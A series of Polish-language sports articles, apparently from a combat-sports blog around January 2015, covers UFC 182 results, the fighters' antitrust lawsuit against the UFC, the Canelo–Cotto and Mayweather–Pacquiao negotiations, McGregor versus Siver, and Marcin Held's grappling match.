Walka na dystansie pięciu rund przysporzyła publiczności wiele emocji, a z zawodników wycisnęła wszystkie możliwe krople potu. Jones miał dość istotną przewagę nad swoim rywalem – zasięgu, co doskonale wykorzystał. Jones używał łokci i ciosów stopujących na kolano wyraźnie osłabiając Cormiera, jednak ten nie ustawał w swoich staraniach i dążył do „ukłucia” przeciwnika. Ta sztuka powiodła się. Cormier kilkukrotnie trafił Jonesa podbródkowymi. W drugiej rundzie dominował już pretendent. Warto odnotować, że ta odsłona pełna była elementów zapaśniczych z dużą porcją ciosów i łokci. Druga runda dla Cormiera, z czasem do głosu doszedł Jones. Mistrz zachował więcej sił od swojego przeciwnika. W czwartej rundzie wyraźnie zdusił go po siatką. Jones dwukrotnie obalił Cormiera. W ostatnich pięciu minutach żaden z fighterów nie oszczędzał się. Było gorąco! Po raz kolejny element zapaśniczy pojawił się w tym pojedynku, jednak nie doprowadził do rozstrzygnięcia. 

""

Na dystansie  pięciu rund Jon Jones był lepszy od swojego rywala. Cormier jedynie w drugiej odsłonie narzucił warunki i należy mu oddać, że zdominował przeciwnika. Jednakże w ostatecznym rozrachunku lepszy był Jones, który mądrze dysponował siłami, co pozwoliło mu „wykończyć” zmęczonego i bezsilnego momentami rywala. Po pięciu rundach sędziowie jednogłośnie przyznali zwycięstwo Jonesowi. Arbitrzy punktowali jednomyślnie – 49-46. Tym samym Cormier musiał pogodzić się z pierwszą porażką w karierze.

Publiczność zgromadzona w Las Vegas nie zobaczyła efektownych nokautów w karcie głównej. Wszystkie pojedynki kończyły się decyzją sędziów. Warto odnotować, że Donald Cerrone w kategorii lekkiej wygrał z niepokonanym dotąd Mylesem Jurym. W pojedynku wagi muszej Kyoji Horiguchi nie pozostawił sędziom złudzeń, wyraźnie dominując nad Louisem Gaudinotem. W karcie wstępnej trzy walki zakończyły się decyzjami sędziów, dwa pojedynki rozstrzygnęły się przez KO. Przez TKO wygrał Cody Garbrandt , który prawym sierpowym powalił Marcusa Brimage'a.

Za walkę wieczoru wyróżnienie otrzymali Jon Jones oraz Daniel Cormier. Wzbogacili się również Paul Felder i Shawn Jordan, którzy znokautowali swoich rywali. Fighterzy zostali nagrodzeni za „występ wieczoru”. Na konta wyróżnionych wpłynęło po 50 tysięcy dolarów.

Wyniki UFC 182:

Pojedynek o pas mistrza UFC w wadze półciężkiej: 205 lbs: Jon Jones – Daniel Cormier jednogłośna decyzja sędziów 
Karta główna
155 lbs: Donald Cerrone – Myles Jury jednogłośna decyzja sędziów
185 lbs: Brad Tavares – Nate Marquardt jednogłośna decyzja sędziów
125 lbs: Kyoji Horiguchi – Louis Gaudinot jednogłośna decyzja sędziów
170 lbs: Hector Lombard – Josh Burkman jednogłośna  decyzja sędziów
Karta wstępna
155 lbs: Paul Felder – Danny Castillo KO w 2.rundzie
135 lbs: Cody Garbrandt –  Marcus Brimage TKO w 3.rundzie
265 lbs: Shawn Jordan – Jared Cannonier KO w 1.rundzie
155 lbs: Evan Dunham – Rodrigo Damma jednogłośna decyzja sędziów
170 lbs: Omari Akhmedov -. Mats Nilsson jednogłośna decyzja sędziów
135 lbs: Marion Reneau – Alexis Dufresne jednogłośna decyzja sędziów

KM 

Wojna na szczycie

UFC to potężna organizacja, które generuje ogromne zyski. W mieszanych sztukach walki obecne są wielkie pieniądze, gale przykuwają zainteresowanie sponsorów, a dla publiczności impreza to ogrom atrakcji. UFC ma na rynku stabilną i ugruntowaną pozycję.

Na światło dzienne wyszły nieznane dotąd fakty. Pozycja UFC może ulec zmianie. Czy tak się stanie? Otóż, do sądu w Kalifornii trafił pozew zbiorowy względem właściciela UFC. Autorami pozwu są byłe i obecne gwiazdy UFC, które zarzucają włodarzowi nieuczciwe praktyki. Okazuje się, że właściciel UFC zaniża płace zawodnikom, stosuje praktyki monopolistyczne oraz niszczy konkurencję. Takie są oskarżenia zawodników mieszanych sztuk walki. Czy znajdą one potwierdzenie? Jakie stanowisko zajmie sąd?

Wedle oskarżycieli właściciel UFC przede wszystkim prowadzi praktyki monopolistyczne w celu niszczenia konkurencji oraz ograniczenia zarobków zawodników. Zawodnicy podkreślają, że organizacja zabrania im współpracy z innymi promotorami MMA, czerpie zyski z zawodniczych umów i ogranicza fighterom możliwość zarabiania. Dodatkowo całą sytuację podgrzewa umowa z Reebokiem. Od czerwca 2015 roku  wszyscy zawodnicy będą zobowiązani występować w strojach tej firmy, ale wiąże się to z dodatkowymi obostrzeniami. Kontrakt wart jest 70 milionów dolarów, środki mają być rozwiązane między fighterów, ale… Właśnie jest pewne ale. Zawodnicy nie mogą eksponować podczas gal logotypów swoich sponsorów indywidualnych.

Dodatkowo, zarobki zawodników spadają. W porównaniu z poprzednim rokiem dochód spadł przeciętnie o 15 tysięcy dolarów. De facto do kieszeni zawodników trafiają kwoty zdecydowanie niższe niż te, które fighterzy mogliby otrzymać funkcjonując na wolnorynkowych zasadach. Pełnomocnicy zawodników, którzy złożyli pozew podkreślają, że ich klienci zarabiają zdecydowanie mniej niż powinni. Ryzyko występów w MMA jest ogromne. Zawodnicy powinni współmiernie partycypować w zyskach organizacji, jednakże właściciel UFC jest innego zdania.

Pewne jest, że sprawa tak szybko nie znajdzie rozwiązania. Pozywający podkreślają, iż są przygotowani na długą batalię sądową. Podobne sprawy mogą trwać nawet pięć lat i być bardzo kosztowne. Obie strony wysuwają przeciw sobie najcięższe działa. Zawodników reprezentować będzie m.in. Cohen Milstein Law Firm, która wynegocjowała 450 milionów dolarów za ugodę w głośnym procesie przeciw Apple. Po stronie UFC pracować będą firmy Boies, Schiller i Flexner LPP.

Zapowiada się długa batalia, jednakże doniesienia na temat praktyk stosowanych przez UFC mogą mieć silny wpływ na odbiór organizacji przez społeczeństwo. Czy tak będzie? Być może UFC zastosuje określone zabiegi marketingowe, aby nie stracić ogromnych pieniędzy. Tak naprawdę, do czasu wyroków sądu sprawa jest otwarta. Zawodnicy walczą o siebie, pieniądze i prawo do godności. UFC zdobyła na rynku wiodącą pozycję w dużej mierze dzięki klasowym zawodnikom. Wydaje się naturalne, że wdzięczność jest czymś normalnym. Bo z niewolnika nie ma pracownika. Zawodnicy walczą o swoje. Problem w tym, że UFC też. W tym sporze to organizacja może stracić więcej. Prawdziwa wojna na szczycie.

KM

Cotto i jego decyzja

Jesteśmy świadkami realizacji scenariusza widowiska pt. „Walka Floyd Mayweather Jr vs Manny Pacquiao”. Owa telenowela przyciąga setki, o ile nie miliony fanów. Ile odcinków jeszcze przed nami? Tego nie wiemy. Telenowele mają to do siebie, że długo trwają, wyciskają łzy, pojawiają się nowe wątki i wszystko otoczone jest aurą tajemnicy. A że nudno być nie może i każdy o swój interes dba… Jedna telenowela to za mało. Na bokserskim rynku otwiera się rozdział pt. „Saul Canelo Alvarez vs Miguel Cotto”.

Wszystko po to, żeby nudą nie wiało. Od dłuższego czasu pojawiają się  informacje na temat ewentualnego starcia Mayweathera z Pacquiao, powoli rozpoczynają się oficjalne negocjacje w tej kwestii. Cała sprawa trwa i trwa, ale z pewnością gra jest warta świeczki. O swoje zaczyna walczyć również Saul Alvarez. Canelo chce wielkiej walki i wielkich zaszczytów. Meksykanin za wszelką cenę chce rywalizować z Miguelem Cotto. Kwestią podstawową jest to, czy sam Portorykańczyk myśli poważnie o tym pojedynku. Canelo w mediach rozwodzi się na temat daty starcia, opowiada o rywalizacji z Cotto, jednak jego ewentualny rywal nie zabiera głosu w tej kwestii.

Z pewnością starcie Alvarez – Cotto byłoby niezwykle ciekawe i stałoby się jednym z najważniejszych bokserskich wydarzeń. Negocjacje między przedstawicielami stron trwają. Decydujące rozmowy mają odbyć się w przyszłym tygodniu. Informację tę potwierdza doradca mistrza świata federacji WBC wagi średniej Miguela Cotto, Gaby Penagaricano: – Chcemy w przyszłym tygodniu ustalić, czy idziemy w tę, czy w inną stronę.

Cierpliwości powoli brakuje już Alvarezowi, który za wszelką cenę chce walczyć 2 maja i usilnie naciska na Cotto. Canelo wystosował list otwarty, w którym zwrócił się do mistrza świata WBC. – Nie rozumiem co się obecnie dzieje. Zgodziłem się na ogromną ilość warunków, które postawił mi Miguel Cotto i miało to miejsce ponad miesiąc temu. Od tamtego czasu on nie podpisał kontraktu. Jestem młodym bokserem i może nie pamiętam zbyt wielu pojedynków z przeszłości, ale wiem, że żaden Portorykańczyk nie uciekał wcześniej przez Meksykaninem, ani żaden Meksykanin nie uciekał przed Portorykańczykiem – napisał Alvarez. Jak widać Canelo stosuje różnorakie formy nacisku na Cotto. Czy okażą się one skuteczne?

Cotto być może w ten sposób po prostu podbija stawkę. Jest mistrzem świata WBC, utytułowanym bokserem, doświadczonym i przyciąga tłumy, więc z pewnością liczy na określony zysk. Z drugiej strony, fakt, iż Portorykańczyk „z niejednego pieca chleb jadł” daje mu przewagę nad Canelo. Alvarez już na początku zdradza swoją niedojrzałość i przy każdej okazji szuka możliwości odwołania się do Cotto. Do Cotto, który milczy. Czy Portorykańczyk działa w myśl zasady: ciszej siedzisz, dalej zajedziesz?

Z pewnością rywalizacja Alvareza z Cotto byłaby jednym z najważniejszych bokserskich wydarzeń 2015 roku. Młodość kontra doświadczenie. Jaką decyzję podejmie Cotto? Kiedy zakończy się gra? A kiedy zobaczymy odcinek finałowy?

KM

Jeden krok do wielkiej walki

Conor McGregor  staje przed ogromną szansą na spełnienie swoich najskrytszych marzeń. Od wielkiego sukcesu dzieli go tylko krok. Sęk w tym, że McGregor musi pokonać tą przeszkodę. Przeszkodę, pod którą kryje się Dennis Siver.

McGregor długo wyczekiwał tej chwili. W końcu od walki o mistrzowski pas UFC w wadze piórkowej dzieli go tylko krok – musi pokonać Sivera. Do starcia fighterów dojdzie 18 stycznia – informację potwierdził prezes UFC Dan White. Warto dodać, że McGregor pod egidą organizacji walczy od kwietnia 2013 roku i po niespełna dwóch latach staje przed ogromną szansą. Jeśli pokona Sivera będzie walczył o mistrzowski pas.

McGregor dla UFC stoczył cztery pojedynki. W debiucie, w kwietniu 2013 roku, rozprawił się z Marcusem Brimage’m. Kolejną walkę stoczył sierpniu tegoż samego roku, a jego rywalem był Max Holloway. Po zaciętych trzech rundach sędziowie orzekli zwycięstwo McGregora. Potem rozprawił się z Diego Brandao, a na UFC 178 przyszło mu rywalizować z Dustinem Poirierem. McGregor już w pierwszej rundzie zastopował swojego rywala. Irlandczyk udowodnił, że ma umiejętności predysponujące go do walki o najwyższe cele. Warto dodać, że McGregor w swojej karierze rywalizował z polskim fighterem – Arturem Sowińskim. W 2011 roku Irlandczyk okazał się lepszy od naszego rodaka. Ponadto, McGregor w swojej karierze ma odnotowane tylko dwie porażki. Fighter jest niepokonany od 2011 roku!

18 stycznia stanie na wprost doświadczonego Dennisa Sivera. 35 – latek swój pierwszy pojedynek dla UFC stoczył w 2007 roku. Nie ma więc, co porównywać dokonań obu panów w tej materii. W swoim ostatnim pojedynku Siver pokonał Charlesa Rosa. Walka miała miejsce podczas UFC Fight Night: Nelson vs Story i trwała trzy rundy. O zwycięstwie Sivera zdecydowali sędziowie.

Doświadczony i sędziwy Siver będzie starał się stawić czoła McGregorowi. Ale czy realnie patrząc – ma szansę? Wszystko wskazuje na McGregora, który jest zdeterminowany i idzie jak burza po pas mistrzowski UFC wagi piórkowej. Z tym, że walka z Siverem może go przybliżyć do upragnionego celu. Pas nadal pozostaje w sferze marzeń McGregora. W przypadku wygranej Irlandczyk stanie przed szansą wywalczenie mistrzostwa.

Ewentualna walka o pas odbędzie się we wspaniałych warunkach. 90 –tysięczna publiczność, bo tyle może pomieścić Croke Park w Dublinie, gorący doping i wielki pojedynek. McGregor musi pokonać Sivera, aby w takich warunkach zmierzyć się z Jose Aldo. Wiadomo, że mistrz łatwo nie odpuści, ale czy będzie w stanie powstrzymać rozpędzonego Irlandczyka? Czy McGregor spełni swoje marzenia i zrealizuje plan zdobycia mistrzowskiego pasa? Ma ogromną szansę, aby być mistrzem. Zostały mu dwa kroki: Siver, a potem Aldo. Pierwszy może uda mu się zrobić, ale czy drugi?

KM

Marcin Held czeka na kolejną walkę

Polak swój pojedynek stoczy 10 stycznia na gali Polaris Professional Jiu Jitsu Invitational. Rywalem Marcina Helda będzie Garry Tonon.

Do rywalizacji obu panów dojdzie dzięki usunięciu z rozpiski gali walki Victor Estima vs.JT Torres. Rywal Polaka, Gary Tonon, to 22-letni Amerykanin, który szerszej publiczności zaprezentował się podczas turniejów Metamoris. Stoczył tam dwa pojedynki, które zakończyły się jego zwycięstwami. Tonon pokonał Kita Gale’a oraz Zaka Maxwella.

Walka Helda i Tonona odbędzie się w formule NO GI i trwać będzie piętnaście minut. W trakcie pojedynku nie będą przyznawane punkty. Zwycięzcą walki zostanie ten, który podda przeciwnika bądź rywal będzie niezdolny do dalszej rywalizacji. Jeśli w ciągu piętnastu minut nie zostanie wyłoniony zwycięzca to pojedynek zakończy się remisem.

Polski zawodnik wagi lekkiej staje przed kolejnym wyzwaniem. Marcin Held niejednokrotnie udowodnił już, że osiąga coraz wyższy poziom w mieszanych sztukach walki. Czy w rywalizacji z Tononem potwierdzi swoją wysoką formę?

Marcin Held jest pierwszym Polakiem, który wygrał turniej organizacji Bellator. To ogromny sukces zawodnika z Tychów, przed którym otworzyły się drzwi do wielkiej kariery. Data 26 września 2014 roku na długo utkwi w pamięci Helda, który w tym właśnie dniu święcił swój największy sukces w dotychczasowej karierze.  Polak na punkty pokonał Patricky'a "Pitbulla" Freire'a. Sędziowie nie mieli wątpliwości i punktowali jednomyślnie – 29:28, 30:26 i 30:27, a wyniki dobrze ilustrują przewagę Helda w rywalizacji z Brazylijczykiem. Zwycięstwo dało polskiemu „lekkiemu” możliwość walki o pas, a także wzbogaciło jego konto o sto tysięcy dolarów. Held łatwo nie odpuszcza. W Polsce został mistrzem MMA Challengers i w postanowił spróbować swoich sił zagranicą. Jego umiejętności doceniła organizacja Bellator, z którą w 2011 roku podpisał kontrakt. W tym samym roku wystartował w turnieju Bellatora, ale odpadł w ćwierćfinale. Dwa lata później dotarł do finału. Held przegrał rywalizację z Dave’m Jansenem. W 2014 roku nikt nie był w stanie dorównać Polakowi.

Held jako dwudziestokilkulatek bardzo dobrze radzi sobie na poziomie międzynarodowym w rywalizacji z najlepszymi fighterami. W Polsce udowodnił swoją wartość i postanowił dalej rozwijać się w Ameryce. Teraz przed nim wyzwanie pod tytułem Gary Tonon na gali Polaris Professional Jiu Jitsu Invitational. Jednak to tylko przystanek na drodze do celu. Held pokazuje, że Polak potrafi. Młody, utalentowany, ambitny, zogniskowany na cel i wygrywanie. Prawdziwy fighter, który rozwija się oraz wykorzystuje pełnię swoich możliwości. Cieszą informacje o dobrych wynikach Marcina Helda. Zawodnik, który odnosi sukcesy w Bellatorze nie jest byle kim. Warto, aby go dostrzec i docenić jego ciężką pracę. Poza tym, że świetnie walczy i wygrywa robi genialną reklamę naszym fighterom, którym często brak odwagi i determinacji, żeby podjąć wyzwanie. Held je podjął. Walka z Tononem musi zakończyć się zwycięstwem. Później przyjdzie czas na ucztę. Czy Marcin Held w pełni wykorzysta swój talent?

KM

Do walki przystąp!

Nowy Rok niesie ze sobą nowe wyzwania. Na bokserskim podwórku wszyscy interesują się kwestią rywalizacji Floyda Mayweathera Jr z Manny’m Pacquiao. Czy w 2015 roku dojdzie do tego pojedynku? Na jakich warunkach?

Należy podkreślić, że negocjacje na temat pojedynku już trwają. Nie jest to już tylko i wyłącznie medialna gra, ale rozmowy między stronami. Problemem są różnice w podejściu obu teamów do kwestii organizacji walki. Negocjacje nie należą do najłatwiejszych z wielu względów. Po pierwsze, warto odnotować, że pięściarzy łączą umowy z różnymi stacjami. Po drugie, kwestią sporną pozostaje procentowy podział zysków. Mayweather nie chce zgodzić się na 60 – 40, Money chciałby mniej korzystnego finansowo dla Pacquiao podziału. Filipińczyk uważa, że „60-40” jest jak najbardziej sprawiedliwy. Po trzecie, do ustalenia pozostaje  kwestia warunków, które muszą spełnić strony. 

Cały bokserski świat pragnie zobaczyć w ringu Maywethera i Pacquiao. Fakt, że negocjacje między stronami rozpoczęły się jest dobrym znakiem. W naciskach na Moneya nie ustaje Pacman. Filipińczyk nadal w mediach podkreśla chęć rywalizacji z Amerykaninem, choć ten ostatnio też potwierdził możliwość walki z Pacquiao. Czy na chęciach się skończy? Gotowość obu pięściarzy do rywalizacji to połowa sukcesu, reszta to negocjacje dotyczące samej walki. W tym przypadku nie należą one do najłatwiejszych. Na tym poziomie w grę wchodzą ogromne pieniądze, sponsorzy, kontrakty medialne.

Rywalizacji Mayweathera z Pacquiao nie może doczekać się sam Lennox Lewis. Legenda wagi ciężkiej uważa, że w 2015 roku Money i Pacman muszą spotkać się w ringu. Lewis porównuje zamieszanie wokół tego pojedynku, która miała miejsce w 2002 roku, kiedy to miał walczyć w Mike’m Tysonem. Rywalizujących w wadze ciężkiej bokserów łączyły kontrakty z różnymi stacjami telewizyjnymi, tak jak obecnie Mayweathera i Pacquiao. – Skończcie z tym szaleństwem i w końcu doprowadźcie do tej walki! Skoro można było doprowadzić do walki Lewis-Tysona przy współpracy telewizji HBO i Showtime, to można równie dobrze doprowadzić do drugiej historycznej walki, w której rywalami będą Mayweather i Pacquiao – powiedział Lennox Lewis.

Rywalizacja Moneya i Pacmana jest najbardziej oczekiwanym wydarzeniem bokserskim 2015 roku. Jeszcze nie raz będzie obecna w mediach. Pacquiao będzie naciskał na Mayweathera i czekał aż ten wykona kolejny ruch. Tylko czy teraz cokolwiek zależy od Maywethera? Obecnie sztaby obu bokserów muszą ustalić stanowisko, co do którego pięściarze wyrażą swoje opinie. Wydaje się, że skala przedsięwzięcia spowoduje, że telewizja i sponsorzy osiągną porozumienie. Kwestią podstawową jest, czy bokserów, a zwłaszcza Mayweathera usatysfakcjonują przewidywane zyski.

Mistrz świata federacji WBO wagi półśredniej Manny Pacquiao i  mistrz federacji WBC/WBA Floydzie Mayweatherze Jr w ringu. Kiedy? Terminu nie ma, ale negocjacje trwają. Muszą zakończyć się powodzeniem. Walka o wielką stawkę, o wielkie pieniądze, o zaszczyty, o prymat w boksie i o miejsce w historii.

KM